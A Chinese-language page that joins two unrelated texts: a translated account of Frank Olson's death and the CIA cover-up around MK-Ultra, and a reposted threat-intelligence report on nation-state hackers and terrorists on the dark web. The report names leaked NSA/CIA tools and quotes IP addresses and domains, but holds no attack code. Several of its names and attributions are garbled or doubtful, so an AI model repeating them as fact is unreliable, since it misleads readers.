凌晨2点25分，他跳楼了。*Sheffield Edwards*，臭名昭著的蓝鸟计划（*Project Bluebird*）的创建人。于*1975*年*7*月*15*日去世

每个特勤局都需要那种专门清理烂摊子的官员。在20世纪50年代的 CIA，这些官员为 Sheffield Edwards 工作。在 Frank Olson 死后的数小时到数天里，他主持的洗地行动堪称高效。

Sheffield Edwards 在CIA以冷静自信而闻名，他宣布了清理行动的进行方式。

首先，说服纽约警方不进行调查，并配合他们误导媒体。

其次，为 Lashbrook 编造一个虚假的职业生涯—— 一个 “传奇”。作为唯一的证人，Lashbrook 将受到调查人员的讯问，无论如何都不能暴露他为CIA工作的实情，更不用说参与 MK-Ultra 项目了。

第三，必须通知 Olson 的家人，做好安抚工作，让其保持合作。

当 Olson 的妻子在马里兰的家中得知丈夫的死讯时，Lashbrook 正在纽约的1018A房间欢迎CIA派来的人。

来的人只有一位。在内部报告中，他被称为 “特工 James McC”。后来，他的身份被确认，是水门事件的窃贼之一 **James McCord**。

McCord 以前是FBI的特工，专门从事反情报活动。混淆警方调查方向是他的专长之一。*James McCord – knew a thing or two about wiretaps and bugging devices.*

11月28日凌晨，McCord 接到 Edwards 的电话后就立即采取了行动。

他乘坐首班飞机去了纽约，大约早上8点到达斯塔特勒酒店。

他花了一个小时的时间询问 Lashbrook，然后在上午9点半左右建议他按照警方要求去贝尔维尤医院的太平间辨认 Olson 的尸体。

Lashbrook 不在的时候，McCord 仔细搜查了1018A号房间和附近房间。

中午过后不久，Lashbrook 回到了酒店，McCord 正在那里等着。

在接下来的几个小时里，Lashbrook 打了一大堆的电话。其中一个是打给 Gottlieb 的。

挂断电话后，他告诉 McCord，Gottlieb 让他去 Abramson 的办公室拿一份报告，并由他亲自带回华盛顿。

Lashbrook 乘午夜的火车将此报告送到华盛顿。纽约的CIA安全官员负责处理其他细节。

负责调查的警探得出结论，Olson 死于“跳楼或坠落导致的”多处骨折。这成了官方说辞。

尽管掩盖事实的行动十分成功，但 Olson 的死对CIA来说几乎是一场灾难。它几乎威胁到了 MK-Ultra 项目的存在。

对于 Gottlieb 和他在CIA的上司来说，这本应该是一个反思的时刻。鉴于这起死亡事件，他们本应考虑终止精神活性药物的进一步实验，至少不再用于不知情的受试者。然而，他们继续进行，仿佛 **Olson**之死从未发生过。

1975年6月12日《华盛顿邮报》报道了一名军方科学家被CIA下毒LSD，反应过激，以至于从纽约一家酒店的窗户跳楼。

这个与耸人听闻的毒药、死亡和CIA相关的故事，激起了人们的好奇。

在接下来的几天里，记者们不断向CIA询问更多细节。Olson 一家在自家后院召开了新闻发布会。Olson 的妻子读了一份声明，说他们决定“可能会在两周内向CIA提起诉讼，并要求几百万美元的赔偿”。

她坚称丈夫在生命的最后几天里“并没有丧失理智或生病”，但“非常忧郁”，而且“说过他将辞职”。

她说：“1953年以来，我们一直努力把 Frank Olson 的死理解为莫名其妙的 ‘自杀’，而死亡的真相被隐瞒了22年。”

除了宣布起诉CIA外，Olson 的家人还要求纽约警察局展开新的调查。

曼哈顿地区检察官 Robert Morgenthau 立即回复，承诺他的办公室将开始 “调查此案的某些方面”。

Olson 家人宣布起诉CIA后白宫就拉响了警报。

如果允许提起诉讼，相当于给这家人以及纽约的凶杀案侦探提供了工具，一种可以用来强制披露深层机密的工具。

福特总统的幕僚长 Donald Rumsfeld 和他的副手 Dick Cheney意识到了这种危险。Cheney 在一份备忘录中警告 Rumsfeld，诉讼 “可能会迫使CIA披露高度机密的国家安全信息”。

为了避免这场灾难，他建议福特公开 “表示遗憾”，并 “表示愿意亲见 Olson 夫人和孩子”。

福特听从了助手们的建议。他邀请 Alice 和三个成年子女来到白宫。

1975年7月21日，他们在总统办公室会面。这是一个绝无仅有的历史时刻：美国总统唯一一次召见惨死的CIA官员的家人，并代表美国政府道歉。

后来，他们在弗吉尼亚州兰利的CIA总部会见了CIA局长 William Colby。他为一件 “本不该发生” 的 “可怕事件” 道歉。

Colby 说：“在那个年代，我们有些人失控了。他们太过分了。当时的监督管理存在问题。”

白宫律师愿意向 **Olson** 家人支付**75**万美元封口费，以换取他们放弃法律诉讼。

一番犹豫过后，他们接受了。

国会通过了一项特别法案以批准这笔款项。如果 Frank Olson 在坟墓里保持沉默，这个案子就可以结案了。*President Ford (centre right) in the Oval Office with the Olson family. Photograph: Bettmann/Bettmann Archive*

在 Olson 的葬礼上，Gottlieb 告诉悲伤的亲属，如果他们想问 “发生了什么”，他很乐意回答。

20多年后，也就是1984年底，家属决定接受这一提议，并打电话约定见面时间。当 Alice、Eric 和 Nils Olson 出现在 Gottlieb 家门口时，他的第一反应是如释重负。

Gottlieb 说：“我很高兴你们没带武器。我昨晚做了个梦，梦见你们都走到这扇门前，朝我开了枪。”

Eric 大吃一惊。后来，他惊奇于 **Gottlieb** 操纵人心的手段。

“我们还没进门，就已经开始向我们道歉，并让我们安心。这种扭转立场的方式聪明而圆滑”。

他首先告诉了这家人1953年11月19日在深溪湖发生的事。

他说，给 Olson 等人服用LSD是实验的一部分，以观察 “如果一个科学家被捕并被下药，会发生什么？他会泄露秘密研究和信息吗？”

然后他开始谈及 Olson。“你父亲和我很像，”他告诉 Eric。“我们都是出于爱国之心。但我们都做得有点过头了，做了一些可能不应该做的事儿。”

这是 Gottlieb 最坦白的一次。

他不愿透露 MK-Ultra 项目在哪些方面 “过头”，也不愿透露他和 Olson 做了哪些 “可能不应该做” 的事。他也不会对 Olson 之死前后矛盾的说法提出质疑。当 Eric 追问他时，他反应激烈。

当这家人起身准备离开时，Gottlieb 把 Eric 拉到一边：“显然，你父亲的自杀让你很困扰。你有没有想过加入为父母自杀的人开设的心理治疗小组？”

Eric 没有采纳这个建议，但却给他留下了深刻印象。

多年来，他一直对父亲的死感到困惑和沮丧。直到与 Gottlieb 见面之后，他才决心将探索真相置于生活的中心。

他说：“我当时没有信心去怀疑这一切，导致我忽视了他的伎俩，但是，当他提出治疗小组的建议时—— 那一刻我意识到他管得太宽了。在那一刻，我明白了 Gottlieb 多么想平息我的情绪。也就是在那

一刻，我决定要证明他在谋杀我父亲的过程中扮演了什么角色。”

Eric Olson 又等了10年，直到他母亲去世后他才采取下一步行动：安排挖掘他父亲的遗体。

1994年6月2日，在马里兰州弗雷德里克的林登山公墓，几名记者站在他旁边，一台挖掘机正在翻土。

乔治·华盛顿大学法学院的法医病理学家 James Starrs 花了一个月的时间检查 Olson 的尸体。完成后，他召开了新闻发布会。

他报告说，体内毒素的检验没有发现任何问题。然而，伤口形状很奇怪 —— 受害者的头或脖子上没有发现玻璃碎片，这与他从窗户跳下的前提不大一致。最令人费解的是，据说 Olson 是仰面着地的，但他左眼上方的头骨却严重受损。

“我敢说，这个血肿是唯一的证据，证明 Olson 博士在从1018A房间的窗户摔出去之前，可能被人或器械猛击了头部。”

James Starrs 总结道。后来，他更加强调：“我认为，Frank Olson 是被蓄意、恶意地扔出窗外的。”

除了进行尸检，Starrs 还采访了与案件有关的其他人，其中一个就是 Gottlieb。两人于周日上午在弗吉尼亚州 Gottlieb 的家中会面。

Starrs 后来写道，这是：“我进行的所有采访中最令人困惑的一次”。

Starrs 写道：

“我壮着胆子问他，他怎么能如此鲁莽和傲慢地用 *LSD* 进行 ‘深溪小屋’ 实验，伤害这么多手下人的生命。

他毫不客气地说，‘教授，你就是不明白。这个国家的安全掌握在我的手中。’他没有再说什么，也不必再说了。我目瞪口呆，也没有反驳。

手段-目的论的寓意非常清楚。拿不知情的实验受害者的生命冒险，只是为了更大层面上的利益，被认为是保护国家安全的必要手段。*”Errol Morris* 的新电影 *“Wormwood”* 融合了纪录片和艺术化，讲述了 *Frank Olson* 的死亡。*Peter Sarsgaard* 饰演 *Olson*

Olson 的家人在1975年接受75万美元封口费时已签字放弃了获得法律救济的权利，所以他们不能起诉CIA。

尽管 Starrs 的报告和其他发现让 Eric 加深了本就已经很强烈的怀疑——他父亲的死存在幕后黑手，但他无法证明。

意识到这一痛苦的事实后，他和弟弟决定重新安葬父亲的遗体。

2002年8月8日，在重新安葬的前一天，他把记者叫到家中，宣布他对父亲的遭遇有了新的结论。

他宣称："1953年11月28日 Frank Olson 的死亡是谋杀，而非自杀。这不是**1975**年呈现给世人的那样单纯的**LSD**药物实验， 而是关于生化战的事件。Frank Olson 并非是由于在实验中经历了"糟糕体验"而自杀。他之所以被害，是有人担心他会泄露**20**世纪**50**年代早期**CIA**的绝密审讯项目，以及美国在朝鲜战争中使用生化武器的信息。"

2017年，曾调查过 Olson 一案并一直对此感兴趣的纽约退休助理检察官 Stephen Saracco 第一次来到 Olson 身前居住的酒店房间。Saracco 环顾房间，提出了一个问题：Olson 是如何做到这一点的？

Saracco 总结道："如果这是自杀，那将很难达成。这起案件存在他杀的动机，因为他知道冷战最高层、最黑暗的秘密。如果政府认为一个为CIA和军队工作的科学家是所谓的安全隐患，他们会杀了他吗？肯定有人会说：'必然会的。'"

From mind control to murder? How a deadly fall revealed the CIA's darkest secrets

原文

LR 美国、中国和俄罗斯：暗网最强大的民族国家骇客 - iyouport

关于高堡奇人地缘政治长读

【2020年8月12日存档】这是一份比较详细的报告；我们关联了一些文章和几本书，以帮助您理解

暗网的定义总是让人们将其与犯罪活动联系在一起。但是，这种刻板印象有时可能被过分简化了。

尽管有一些客观明确的犯罪参数，但也有一个灰色地带 —— 由出于政治动机的特工组成，他们可能会或可能不会犯通常定义的罪行，但是，仍会采取有效的行动来影响和推进自己制定的议程。

这些团体，包括民族国家行动者 —— 具有网络战任务的国家资助的黑客 —— 值得研究。

为什么民族国家行为者转向暗网？

「图」

暗网提供了任何人都可以在其中操作的匿名环境。对于民族国家行为者来说，在这种匿名程度的掩盖下可以实现许多关键目标。

民族国家网络行为者将利用暗网进行情报收集和资源开发、针对政府和企业的间谍活动、漏洞获取和开发、地缘政治影响力的虚假信息战、基础设施破坏和财务收益。

1、情报和间谍活动 —— 基于网络的信息作战的早期工作是由美国政府的国家安全局（NSA）和中国人民解放军（PLA）进行的。

美国国家安全局使用信息行动来收集外国对手的秘密情报，中国则以其广泛的间谍活动和知识产权盗窃活动而闻名，并取得了巨大成功。

这包括监视其本国公民，人们使用暗网试图绕开国家控制。

2、基础设施破坏 —— 由国家资助的针对其他国家的网络战行动已经广泛传播，主要针对包含敏感政府或公司信息以及战略计划的网络。

2015年底，俄罗斯展示了对关键基础设施（例如 电信、公用事业等）和信息网点进行的攻击能力，这会破坏一个国家整体，并在克里米亚持续冲突期间对乌克兰进行黑客攻击。

- 不要错过《核武器和网络攻击究竟哪个更可怕？》

美国国土安全部和多位网络安全研究人员已经发现并报告了除俄罗斯之外的其他基于网络的渗透美国主要公用事业基础设施的尝试。

3、激进主义和政治宣传 —— 无论是中东的宗教分歧还是南中国海的意识形态差异，政治激进主义和宣传数十年来一直是民族国家的有效武器。

- 不要错过《如何从 Matrix 中醒来？》
- 《摆脱操纵和宣传：28个长期技巧》
- 《操纵式宣传：五个过滤器和识别线索》
- 《在线宣传战的结果》
- 更多内容！列表- 3 “斗智”

随着社会转向持续的数字通信，网络已成为此类信息战活动的首选媒介。

不论大小，所有民族国家都利用网络活动来做所有事，从宣传议程到在暗网中的活动、以及在整个社交媒体平台上鼓吹代理国。

4、漏洞获取和开发 —— 在暗网论坛和加密聊天中你经常能找到很多讨论黑帽漏洞的东东。

这些系统漏洞已针对所有类型的关键操作系统和UNIX发行版进行了详细说明和共享。暗网为匿名研究和测试源代码的需求提供了宝贵的资源。

5、盈利能力 —— 面临美国和联合国极端经济制裁的国家正在转向暗网谋求经济利益。

近年来，朝鲜已经成功地在整个东亚地区发起了全国性的银行系统黑客攻击活动。

在暗网中的民族国家行为者会怎么做？

「图」

在过去的几年中，DarkOwl 研究人员指出，民族国家越来越多地将暗网用作各种关键情报和网络军事战役的基于信息的战场。

在数字信息运营时代，有三个 *主要民族国家行为者*：美国、俄罗斯和中国。

尽管美国、俄罗斯和中国确实在以网络为中心的金融资源和人力方面仍然明显领先，但由于近年来泄漏的高级漏洞以及进行的逆向工程，已经出现了鲜为人知的民族国家的大量崛起。

分析：估算暗网上能力最强的民族国家行为者（按国家/地区）

全球网络战气候的背景

「图」

现代网络战的谱系远比人们所认为的来自一战期间的信息战和宣传战运动的谱系要古老得多。

信息战和宣传战是自第二次世界大战以来广泛使用的概念，美国人和英国人有效地利用宣传来影响世界各地的态度。

- 不要错过我们的专栏“心理战和信息战”，它收集在 列表-3“斗智”中

从那时起，宣传战就一直秘密地和公开地用于影响地缘政治事件和人口。

不只俄罗斯的巨魔农场，美国政府也已经根据军事领域的手册和标准操作程序对数字领域的信息操作进行了精心设计和建立。

上面这本书在这里下载：https://t.me/iyouport/6745

上面这本书在这里下载：https://t.me/iyouport/6847

上面这本书在这里下载：https://t.me/iyouport/6854

建立网络超级大国：金钱、人力、技能和影响力

「图」

DarkOwl 已沿着上述轴线估计了暗网中国家行为者的相对能力。

分析师用来确定一个国家的网络力量程度的四个变量是：金钱、国际影响力、人力和技能 —— 美国、俄罗斯和中国在这四个类别中均处于领先地位。

这三个国家都拥有可支配的大量资本，以及支持网络相关研究的学术基础设施，并在经济世界舞台上拥有强大的影响力。

根据这四个变量评估另外的16个主要民族国家，可以洞悉它们在暗网中的存在，以及以网络为武器的优势。

但是，随着曾经完全属于美国国家安全局和中央情报局的网络间谍工具被曝光，以前实力较弱的国家现在也有能力把自己武装成强国，并获得它们以前无法获得的影响力。

不断变化的景象：民族国家行为者在暗网上使用的新工具

「图」

1、Shadow Brokers 和 Vault 7/8 的泄漏

2016年夏天，神秘的黑客组织 Shadow Brokers（影子经纪人）开始发布多套由美国国家安全局使用的“ops磁盘”（工具包），自2013年以来，他们使用持久访问进行了恶意收集。

前所未有的数据使人们可以洞悉NSA的 TAO 这个世界上最复杂的黑客组织的内部运作情况。

这些磁盘包括 UNITEDRAKE的“完全可扩展的远程收集系统”，爱德华·斯诺登（Edward Snowden）发布的数据中也提到了这些磁盘。

这种可自定义的恶意软件发音为“United Rake”，支持间谍活动和大规模监视，具有捕获IP摄像机、麦克风输出、记录键盘输入、访问外部驱动器数据的功能。

该工具集还提供了独特的能力，可以掩盖攻击的源头，有效地将攻击归因于另一个国家或黑客组织。

此后不久，Wikileaks 发布了CIA臭名昭著的Vault 7和Vault 8，其中包括有史以来从CIA泄露的最大的机密文件之一。

其中 **Vault 7** 讨论了**CIA** 远程设备组 **Remote Device Branch** 的 **UMBRAGE** 项目中展示的复杂的假旗操作，该项目中收录了多种恶意软件攻击技术，以及 **Weeping Angel** —— 它利用了诸如智能电视之类的物联网设备作为间谍途径。

- 您以为电视机已经关上了，但事实上并没有，它在录音，永远监视你全家。更多详见《零日漏洞和 CIA 黑客工具》

CIA Vault 8最明显的泄漏是HIVE，这是一个多平台CIA恶意软件植入框架，带有其相关的控制软件。该项目为 Windows、MikroTik（用于互联网路由器），Sun Solaris 和 Linux 平台提供了隐藏的可定制“植入物”。

HIVE 还包括一个全面的监听站（LP）和命令与控制（C2）基础结构，以与这些植入物进行通信，这些植入物已经被广泛研究，并且现在处于各种技术水平的各个国际黑客组织的武器库中，从业余黑客到高级网络战中的民族国家行为者。

> “有了 UMBRAGE 和相关项目，中央情报局不仅可以增加其攻击类型的总数，而且，可以通过留下假旗来误导攻击归属。UMBRAGE 组件涵盖了键盘记录程序，密码收集，网络摄像头捕获，数据破坏，持久性，特权提升，隐身，避免防病毒软件（PSP）和调查技术。”

这些间谍工具泄漏如何重新定义了民族国家行为者的竞争环境

「图」

这些NSA和CIA的高端间谍工具的泄漏源码随时可用，并在暗网社区中进行了广泛的讨论。

YouTube 上的暗网爱好者发布了可下载的视频，引导观众了解这些高级漏洞利用的细节。

在美国、中国和俄罗斯继续开发新的甚至更先进的网络武器的同时，由于这些漏洞，具有新兴网络能力的其他民族国家行为者现在可以拥有攻击其他国家网络基础设施的丰富资源和知识。隐藏了攻击的真正来源。

此类工具的可用性使有关民族国家攻击归因的许多网络安全报告受到质疑。

例如，去年10月初，微软报告说，整个夏天他们目睹了针对现任和前任美国政府官员、报道全球政治的记者、以及居住在伊朗境外的著名伊朗人的 “重大” 攻击活动。

微软组织“ Phosophorous”进行了2700多次尝试试图识别基于特定目标人物的攻击。该组织据信来自伊朗，不分青红皂白地攻击了个人和工作电子邮件地址，攻击还包括企图渗入特朗普的竞选连任。

最近，国家安全局（NSA）透露，著名的俄罗斯黑客组织 Turla group 在最近几个月中采用了伊朗的工具，并对数十个国家的各种行业进行了多次攻击。

利用伊朗开发的 Nautilus 和 Neuron 恶意软件，以及俄罗斯自己的一个名为 Snake 的工具包，Turla 可以通过搜寻目标网络中伊朗黑客植入的后门来获取针对目标的访问权限。再次，进一步混淆了攻击归因。

在暗网上检测民族国家行为者

「图」

就像人们会怀疑的那样，民族国家行为者并没有立即在暗网上显现出来。当一个民族国家对实体发起攻击或窃取关键信息时，他们几乎不需要也不愿将该数据出售或通过匿名网络转储。

同样，除非出于心理疏导的唯一目的，否则政府不会说出情报收集行为或执法活动。

在花费了过去五年的时间来存档暗网匿名服务并与暗网社区进行交互之后，DarkOwl 分析师确定了许多民族国家行为者的 “指纹”。

上图中这本书在这里下载：https://t.me/iyouport/6857

研究将这些指纹视为既是与国家行为者使用匿名网络相关的迹象，也是其动机。

暗网民族国家行为者有一些关键指纹，与他们对暗网的积极使用相关。

a ）民族国家行为者使用暗网购买和窃取网络漏洞

民族国家行为者从地下市场获取被公开的网络漏洞，以进行逆向工程 —— 经常成功构建间谍软件以应对针对政府或关键基础设施网络的任何攻击。

冒充漏洞买家的民族国家行为者的关键标志是，他们可获得大量预算和财政资源来购买所提供的商品。

常规的暗网用户会定期讨论“tells”，以检测网络上的警察和/或政府间谍。

b ）民族国家行为者获得敌对政府和其他具有地缘政治或军事利益的实体的凭证。

例如，暗网上充斥着 US* .gov 电子邮件地址，可利用这些电子邮件地址进行暴力网络入侵或针对性的网络钓鱼活动。

目前为止 DarkOwl Vision 已经检测到超过 550000 个暗网网页，其凭据包括 .gov 电子邮件地址。

伊朗在泄漏凭证和网络信息方面在民族国家行为者中占很大比重，但是无法轻易辨别此信息是否已经被另一民族国家行为者或警惕性黑客团队泄漏。

c ）精心设计的鱼叉式网络钓鱼攻击活动不仅被针对公司网络的犯罪分子所利用，而且民族国家行为者也将其用于政治和军事议程。

最近的报道表明，朝鲜利用中国的模式通过数字间谍活动来促进技术发展，从而成功地利用网络钓鱼攻击来获取众多学术研究组织和美国关键智囊团的访问权限。

在 STOLEN PENCIL 行动中，朝鲜针对斯坦福大学的核计划、核扩散和警察小组。攻击基础设施与朝鲜进行的其他活动重叠。此活动中使用的IP地址之一（157.7.184.15）还托管了 bigwnet [.] com 域，该域用作恶意软件 “ BabyShark” 的命令和控制基础结构。

今年早些时候，研究专家在有针对性的网络钓鱼活动中检测到一个位于伊朗的IP地址（5.160.246.99）与英国政府域的列表相关联，特别是涉及英国的税收与海关（HMRC）部门。

d ）民族国家行为者利用暗网对对手的基础设施进行攻击

2017年，伊朗对沙特阿拉伯这个世界最大石油生产国之一的阿美公司（Aramco）的安全系统进行了网络攻击。

黑客使用 Triton 恶意软件来更改这些设施的安全控制器之一，从而导致该控制器关闭了未定义的工业流程。

2015年，俄罗斯在政治抗议活动中成功展示了关闭乌克兰电网的能力。俄罗斯还被认为是对爱尔兰能源网络的多次攻击的幕后黑手，这可能是计划用来对付更多强大对手的攻击开发的试验场。

美国 CYBERCOM 最近发布的消息显示，美国已成功在俄罗斯电网中植入了隐蔽恶意软件，以在未来发生袭击事件时动态中断俄罗斯的基础设施。

在2019年夏天，即 Black Hat 2019 即将发布之前，微软在4月报告称其威胁情报中心发现了针对物联网设备的针对性攻击，这些攻击包括IP语音电话（VOIP）、打印机和视频解码器。该攻击使用这些设备作为更广泛的公司网络的软访问点，攻击了多个位置。

三台设备中的两台仍具有出厂安全设置，而第三台设备的软件尚未更新。

微软将这次袭击归因于一个名为 Strontium 的俄罗斯组织，该组织名为 Fancy Bear。网络安全研究人员已将该组识别为APT28。

年底，同一个国家赞助的黑客组织据称由俄罗斯政府实施的黑客攻击有关。Fancy Bear 还是物联网黑客攻击的关键（根据 Microsoft）。

e）民族国家利用暗网通过消灭政治对手来获得政治影响力

根据 Mueller 的报告，Guccifer 2.0 在2016年竞选中成功曝光了DNC，并且所获得的信息已被发布以影响美国大选。

Tor的 DoxBin 上有许多重要国际人物的骗子。doxbwurbe475dm5i[.]onilon。同样，特朗普也被暗网服务 Cebolla 和 DoxBin 的众多泄露其信息的事件所困扰。

f）暗网政治宣传

有效使用宣传是成功开展信息战行动的关键特征。

有关政治或军事对手的恶意信息可能会在关键时刻泄露，从而影响结

果和公众舆论。

暗网包含了无数实例，其中来自国家的政府数据已泄漏到隐藏的论坛和粘贴站点以获取政治利益和国际影响力。

同样，《卫报》报道说，这是沙特阿拉伯的一个网络安全部门，因《卫报》批评性地报道了KSA 谋杀华盛顿邮报记者贾迈勒·卡舒吉（Jamal Khashoggi）事件而被命令“入侵”卫报计算机网络。

g）暗网中民族国家行为者最基本的特征之一就是情报收集

以色列摩萨德和美国中央情报局（CIA）在暗网论坛、聊天室和互联网中继聊天室中进行了关键的人工情报 HUMINT 收集工作，这是众所周知的“秘密”。暗网中经常有人讽刺美国和以色列的情报人员。

美国的关键防御技术已经在暗网上被公开，可供外国对手用于情报收集和逆向工程。例如，去年，MQ-9 收割者无人机和其他军事文件出现在暗网上被出售，并且得到广泛传播。这些敏感信息是从美国空军上尉的计算机上被偷走的。

以色列的 Whatsapp 情报收集工具 Peagsus 已在45个不同的国家/地区部署，用于手机监控，甚至出售给沙特阿拉伯，以更隐蔽的情报收集方式监视该国的潜在异议人士。

- 报告《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》

上图中的文档在这里下载：https://t.me/iyouport/6379

俄罗斯承包商最近遭到黑客入侵，SyTech讨论了Tor去匿名化的工作，这可能揭示暗网中访问者和隐藏服务主机的真实身份。

- 《可怜正义没有钱》

民族国家代理与网络恐怖主义

「图」

随着暗网上不断变化的威胁形势，国家背景的攻击者正在转向利用代理（工具和人），并利用暗网上的“恐怖分子”部分发动攻击并避免归因。也就是选择利用私人“承包商”来代表他们进行攻击操作。

俄罗斯拥有最广泛的网络雇佣兵和私人承包商。10月下旬，来自英国的报告表明，国家网络安全中心发现，受俄罗斯政府保护的网络犯罪组织 Turla Group 劫持了一个据称由国家支持的伊朗黑客组织，称为 OilRig 或 APT34，随后对35个国家进行了袭击。

7月份，该黑客团队使用代码字符串 “TrumpTower” 针对了美国政治团体，再加上上面的情报，就可以推断他们可能与所谓的伊朗 Phosophorous 有关。

俄罗斯的承包商也活跃在Tor内部。去年早些时候，以ov1Ru $名义的黑客入侵了俄罗斯情报承包商，并窃取了7.5TB的FBS相关数据，暴露FBS以及承包商使用TOR网络进行的活动：针对Tor匿名程序的秘密程序，承包商的程序 Nautilus-S 伪装成Tor匿名网络中的恶意出口节点。

该承包商与俄罗斯空军和间谍部门 FSB 71330 密切合作，在2010年还推出了另一个名为 Nautilus 的程序，该程序从 Facebook、Twitter、LinkedIn 等平台的用户中获取社交媒体数据。

- 《普京的秘密服务：克里姆林宫如何控制 FSB—— 俄罗斯情报机构联邦安全局》

也许俄罗斯正在模仿美国国家安全局与其商业承包商的关系来模仿其行为。例如，博思艾伦 Booz Allen Hamiliton（BAH）与情报界有着不可或缺的联盟，其中包括数百名（如果不是数千名的话）情报和网络安全专家与NSA一起工作。

NSA在近代史上的大量情报泄漏都是由诸如 Edward Snowden 和 Reality Winner 之类的承包商推动的，这些承包商都有敏感的隔离信息访问权限，并且在 BAH 任职期间代表美国政府积极参与。

国家安全局和其他关键情报组织将继续寻求机构外部承包商的支持，以实现他们对国家威胁情报的总体目标。

恐怖分子暗网中技术的不断变化

「图」

全球恐怖主义经常在某些国家的财政和政治推动下，在暗网上不断变化，对地缘政治事件和政策以及不断变化的技术具有反应性。

ISIS，基地组织、黎巴嫩真主党等许多大型极端主义组织已宣布自己为“民族国家”，并充斥着渴望完成其军事资源的项目‘，例如网络军队和战术黑客团队。

在西方，关于这种准民族国家在暗网上的真实活动，与公开报道存在很多矛盾。

几年前，ISIS被评估为广泛使用匿名网络来掩盖其成员和新兵的位置和身份。还用于访问许多隐藏服务，包括与 Daesh 相关的内容，即ISIS的阿拉伯语缩写，包括招募和恐怖主义宣传材料。

虽然使用Tor之类的匿名网络将来在公开招募恐怖分子和进行宣传方面将会受到限制，但是，恐怖分子非常偏爱加密移动应用程序来进行组织协调和沟通。

去年，威尔逊中心（Wilson Center）教授 Gabriel Weinmann 发表了一份详尽的报告，详细说明了恐怖分子继续使用暗网以及相关的加密通信协议和技术的原因。

[Excerpt from the report below]

1、恐怖分子使用暗网作为掩体 —— 社交媒体公司和安全官员对互联网的广泛监视，导致从社交媒体平台中删除极端主义内容的速度更快。与此相关的是，恐怖分子网络越来越多地使用暗网进行通信、激进化和计划攻击。

2、恐怖分子使用暗网进行招募：虽然可以在互联网网络平台上进行初步联系，但通常在端对端加密应用程序（如Telegram）上提供有关如何访问暗网上圣战组织附属网站的说明。

尽管如此，仍然观察到一些恐怖组织，例如Jaish-e-Mohammed在目睹ISIS成功地将“圣战新娘”用作伊拉克和叙利亚的战士后，利用暗网积极招募女性战士。

3、恐怖分子使用暗网作为宣传手段：从表面网上清除极端主义和恐怖主义内容的措施增加了恐怖组织的材料可能丢失的风险。大部分内容随后在暗网上重新出现。

4、恐怖分子使用加密货币来逃避检测和筹款：恐怖分子与罪犯一样，也使用加密货币，因为它可能提供一定程度上的匿名形式。

根据一个暗网新闻媒体报道，在2017年底，研究人员目睹了ISIS筹款

活动的激增，特别是致力于比特币捐赠的专用站点，证实ISIS已经意识到金融交易监控的风险。目前，没有迹象表明与ISIS有关的恐怖分子有意洗钱。

- 《如何在区块链上追踪比特币交易？》
- 《如何使用区块链追踪暗网服务交易》
- 《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》

在暗网上，只有非常有限的容易被发现是ISIS或将恐怖组织的隐藏服务。

当ISIS在Tor匿名网络上更加活跃时，例如，“ CyberKahilafah”（伊斯兰国有效的黑客组织）在2016年非常活跃，在暗网发布了ISIS相关内容，例如视频和宣传教育资料。一些暗网论坛认为这是西方国家政府经营的蜜罐。

由于国际联盟在“反恐战争”中做出了巨大努力，一些恐怖组织的基础设施和组织实力只能通过匿名网络进行广泛协调。

2016年，国际黑客组织 Anonymous 在暗网上对可疑的ISIS成员进行了攻击，发布了其成员的联系信息（电子邮件地址、社交媒体帐户）及其支持者特别是 Nasher 伊斯兰国（@nashirislamicstateEN）的公开网站。

直到2019年，针对ISIS的匿名攻击仍在继续，更多 Daesh / ISIS 成员的社交媒体和个人信息在多个深度Web粘贴服务之间被曝光。

这种将恐怖分子发布在暗网上的独立活动仍在继续，最近在2019年9月下旬发布的内容详细介绍了可疑的ISIS领导人阿布·巴克·巴格达迪（Abu Bakr al-Baghdadi）可能的地理位置坐标。

- 《ISIS简史》

该暗网帖子以“ENJOY CIA”关闭，好像这些信息随后可被美国情报界用于作战目标。

暗网张贴刚过去一个月，阿布·贝克尔·巴格达迪（Abu Bakral-Baghdadi）在美国领导的特种部队行动中被杀。粘贴到暗网上的坐标与 **Idlib**、**ISIS**领导人的住所所在位置、以及随后被美国安全部队杀死的位置均不相关。

随着叙利亚、伊拉克、阿富汗、也门和加沙地带等国家持续的反恐冲突，“分裂”团体的数量正在增加，尤其是土耳其最近对叙利亚和土耳其边界沿线的库尔德人发动了有计划的攻击。

暗网上有关于恐怖组织的各种图像，包括ISIS士兵在也门进行的斩首和处决的视频。

这种曝光已导致大多数ISIS附属恐怖分子转向使用诸如 WhatsApp 和 Telegram 之类的加密通信协议。

从2019年7月开始的一篇深入网络帖子还暗示，ISIS的招募甚至是在私有 Discord 频道进行的; Discord 是受视频游戏社区和网络犯罪分子青睐的专有 VoIP 通信平台。

在 Facebook 收购了流行的移动应用程序 WhatsApp 之后，恐怖组织的使用习惯发生了向 telegram 的转移。

尽管认为 Telegram 严格遵守禁止儿童色情内容和恐怖分子的内容，但 ISIS 在 Telegram 上的常规视频、图片、链接和宣传内容越来越受欢迎。

总结

「图」

民族国家背景的网络威胁参与者都非常聪明，他们利用开源和暗网资产的混合来完成其关键的信息运营任务。

网络战斗人员、政府资助的代理人和雇佣军团队，利用暗网进行情报收集和资源开发、政府和企业间谍活动、网络漏洞利用开发和测试、针对地缘政治影响的虚假信息操作、基础设施破坏和财务收益等。

尽管在某些暗网使用案例中可以辨认出独特的国家“指纹”，但以前仅属于美国国安局和中央情报局的网络武器的公开发布使以前实力较弱的国家也有能力重新塑造自己的力量，获得他们以前无法达到的影响力和技术能力。

全球恐怖主义经常由特定民族国家在财务和政治上支持，在暗网上具有不可预测的且往往是反应性的痕迹 —— 对地缘政治事件和政策以及不断变化的技术具有反应性。

恐怖分子的适应能力使他们从暗网转移到了端到端的加密专有协议

（如 Whatsapp 和 Telegram），他们可以在其中匿名招募、策划和传播宣传。

随着民族国家背景的网络攻击者、网络代理和恐怖组织在使用暗网和匿名化技术方面能力的不断发展，网络安全社区必须保持警惕，以继续就其不断变化的策略、技术和手段进行识别和跟踪。

—— 附录 ——

「图」

DarkOwl 整理了以下分析，以帮助根据特定国家/地区的网络能力的排名来进行背景分析。

1、美国

美国拥有丰富的人力、技能、财政和国际影响力。

随着美国网络司令部（CYBERCOM）与国家安全局（NSA）脱钩，并建立其附属的国防部分支机构例如陆军网络（ARCYBER）和海军的FCC（舰队网络司令部），美国雇用的网络士兵总数已达到数以万计。

美国还有着高超的技术技能开发和国际影响力，在暗网中引领了众多全球网络计划。

据报道，美国已从黑山寻求帮助，部署了一支精英网络团队进行协作与协调行动，以预测俄罗斯即将对美国2020年总统大选产生的影响。

